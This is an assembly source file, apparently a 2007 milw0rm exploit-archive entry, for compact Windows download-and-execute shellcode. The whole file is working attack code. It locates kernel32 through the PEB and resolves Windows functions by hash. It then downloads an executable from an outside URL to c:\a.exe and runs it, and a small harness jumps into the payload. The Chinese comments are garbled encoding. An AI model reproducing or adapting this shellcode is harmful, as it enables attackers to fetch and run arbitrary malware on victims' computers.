138 lines
No EOL
4.1 KiB
NASM
138 lines
No EOL
4.1 KiB
NASM
;Tiny Download&&Exec ShellCode codz czy 2007.6.1
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;header 163=61(16+8+9+(28))+95(68+27)+17
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;163+19=192
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comment %
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#--------------------------------------# #
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# Tiny Download&&Exec ShellCode--> # #
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# -->size 192 # #
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# 2007.06.01 #
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# codz: czy # #
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# www.ph4nt0m.org # #
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#------------------------------------------# #
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system :test on ie6+XPSP2/2003SP2/2kSP4
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%
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.586
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.model flat,stdcall
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option casemap:none
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include c:\masm32\include\windows.inc
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include c:\masm32\include\kernel32.inc
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includelib c:\masm32\lib\kernel32.lib
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include c:\masm32\include\user32.inc
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includelib c:\masm32\lib\user32.lib
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.data
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shelldatabuffer db 1024 dup(0)
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shellcodebuffer db 2046 dup(0)
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downshell db 'down exploit',0
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.code
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start:
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invoke MessageBoxA,0,offset downshell,offset downshell,1
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invoke RtlMoveMemory,offset shellcodebuffer,00401040H,256
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mov eax,offset shellcodebuffer
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jmp eax
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somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
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;ÉÃÂÃæµÄ´úÂëÊÇ°ÑÔÚ´úÂë¶ÎÖõÄshellcodeÒƶ¯Êý¾Ã¶ÎÖÃÂÖ´ÃÂã¬Ä£ÄâÕæʵµÄshellcodeÖ´ÃÂû·¾³
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@@shellcodebegin:
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call @@beginaddr
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@@beginaddr:
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PUSH 03H ;Òªµ÷ÓõÄAPIº¯Êý¸öÊý
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jmp @@realshellcode
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myExitProcess dd 073e2d87eh
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myWinExec dd 00e8afe98h
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myLoadLibraryA dd 0ec0e4e8eh
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dll db 'URLMON',0,0
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myUrlDownFile dd 0702f1a36h
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path db 'c:\a.exe',0
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url db 'http://www.ph4nt0m.org/a.exe',0
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@@realshellcode:
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POP ECX
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POP EDI
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SCASD ;edi+4
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;µÃµ½kernel32.dll»ùµØÖ·
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db 67h,64h,0A1h,30h,00h
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mov eax, [eax+0cH]
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mov esi, [eax+1cH]
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lodsd
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mov ebp, [eax+08H] ;EBPÖôæ·Åkernel32.dllµÄ»ùµØÖ·
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;´¦Àõ¼³ö±ÃÂ
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@@next2:
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PUSH ECX
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@@next3:
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MOV ESI,[EBP+3Ch]
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MOV ESI,[EBP+ESI+78h]
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ADD ESI,EBP
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PUSH ESI
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MOV ESI,[ESI+20h]
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ADD ESI,EBP
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XOR ECX,ECX
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DEC ECX
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@@next:
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INC ECX
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LODSD
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ADD EAX,EBP
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XOR EBX,EBX
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@@again:
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MOVSX EDX,BYTE PTR [EAX]
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CMP DL,DH
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JZ @@end
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ROR EBX,0Dh
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ADD EBX,EDX
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INC EAX
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JMP @@again
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@@end:
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CMP EBX,[EDI]
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JNZ @@next
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POP ESI
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MOV EBX,[ESI+24h]
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ADD EBX,EBP
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MOV CX,WORD PTR [ECX*2+EBX]
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MOV EBX,[ESI+1Ch]
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ADD EBX,EBP
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MOV EAX,[ECX*4+EBX]
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ADD EAX,EBP
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STOSD
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POP ECX
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loop @@next2
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mov ecx,[edi] ;2
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cmp cl,'c' ;3
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jz @@downfile ;2
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PUSH EDI
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CALL EAX ;2
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xchg eax,ebp
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scasd
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scasd
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push 01 ;2µÚ¶þ¸öDLLµÄº¯Êý¸öÊý
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jmp @@next3 ;2
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;×ܼÆ17
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@@downfile:
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push edx ;0
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push edx ;0
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push edi ;file=c:\a.exe
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lea ecx, dword ptr [edi+9h]
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push ecx ;url
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push edx ;0
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call eax ;URLDownloadToFileA,0,url,file=c:\a.exe,0,0
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push 1 ;FOR TEST
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push edi
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call dword ptr [edi-14H] ;winexec,'c:\xxx.exe',1
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call dword ptr [edi-18H] ;Exitprocess
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somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
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invoke ExitProcess,0
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end start
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; milw0rm.com [2007-06-27] |